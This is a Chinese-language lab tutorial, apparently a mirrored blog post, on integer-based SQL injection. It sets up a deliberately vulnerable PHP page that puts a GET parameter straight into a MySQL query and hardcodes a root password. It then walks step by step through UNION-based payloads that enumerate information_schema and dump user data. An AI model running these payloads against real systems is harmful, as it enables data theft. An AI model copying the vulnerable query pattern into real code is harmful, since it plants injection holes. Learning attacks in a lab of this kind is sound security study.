zoukankan      html  css  js  c++  java
  • SQL注入中的整型注入实验

    首先搭建一个用于注入的环境

    目录结构

    conn.php    用来连接数据库的文件PHP文件

    index.php    用来执行SQL命令,以及返回查询结构

    index.html              一个存在注入点的页面

    conn.php的代码

    <?php
    $servername="localhost";
    $username="root";
    $password="weiwhy";
    try{
    $con=new PDO("mysql:host=$servername;dbname=phpdisk",$username,$password);
    echo "链接数据库成功";
    }catch(PDOException $e){
    echo $e->getMessage();
    }
    
    $con->exec('set names utf8');///exec方法用来执行没有结果返回的SQL语句。。。设置查询语句为utf-8
    ?>

    index.php代码

    <?php
    require('conn.php');
    ?>
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <meta http-equiv="X-UA-Compatible" content="ie=edge">
        <title>Document</title>
    </head>
    <body>
        <?php
            $id=$_GET['id'];
            $result=$con->query("select * from pd_users where userid=$id");//执行查询的SQL语句
            foreach($result as $value){
                var_dump($value);////直接输出作为显示位
            }
        ?>
    </body>
    </html>

    index.html

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <meta http-equiv="X-UA-Compatible" content="ie=edge">
        <title>Document</title>
    </head>
    <body>
        <form action="index.php" method="GET">
            <input type="text" name="id">
            <input type="submit" value="提交">
        </form>
    </body>
    </html>

    存在的注入点为

    http://www.a.com/index.php?id=1 

    第一步,首先判断注入点是否可用

    http://www.a.com/index.php?id=1  and 1=1显示正常

    http://www.a.com/index.php?id=1  and 1=2 正常返回但是没有数据

    第二步,判断查询的表存在的列数

    http://www.a.com/index.php?id=1  order by 2

    使用排序方法判断存在多少行,根据第29列无法排序,说明不存在这一列

    根据第28列排序正常,所以此表存在28列

    第三步,使用联合查询,查找显示位

    union select 1,2,3,4,1,2,3,4,1,2,3,4,1,2,3,4,1,2,3,4,1,2,3,4,1,2,3,4

    第四步,查询所有的库名

    通过查询information_schema.schemata表

    select distinct group_concat(schema_name) from information_schema.schemata

    第五步,查询指定库的所有表

    可以看到上一步中,拿到另外所有的库名,这一步指定查询estoresyste库

    select distinct group_concat(table_name) from information_schema.tables where table_schema='estoresystem'

    第六步,查询指定表的所有列

    拿到指定库的所有表之后,指定查询user表的所有列

    select distinct group_concat(column_name) from information_schema.columns where table_name='users'

    第七步,查询数据

     select distinct group_concat(username) from estoresystem.users

     查询到该表的四个用户

  • 相关阅读:
    MySql 用户 及权限操作
    MAC 重置MySQL root 密码
    在mac系统安装Apache Tomcat的详细步骤[转]
    Maven:mirror和repository 区别
    ES6 入门系列
    转场动画CALayer (Transition)
    OC 异常处理
    Foundation 框架
    Enum枚举
    Invalid App Store Icon. The App Store Icon in the asset catalog in 'xxx.app' can’t be transparent nor contain an alpha channel.
  • 原文地址:https://www.cnblogs.com/smallsima/p/8760733.html
Copyright © 2011-2022 走看看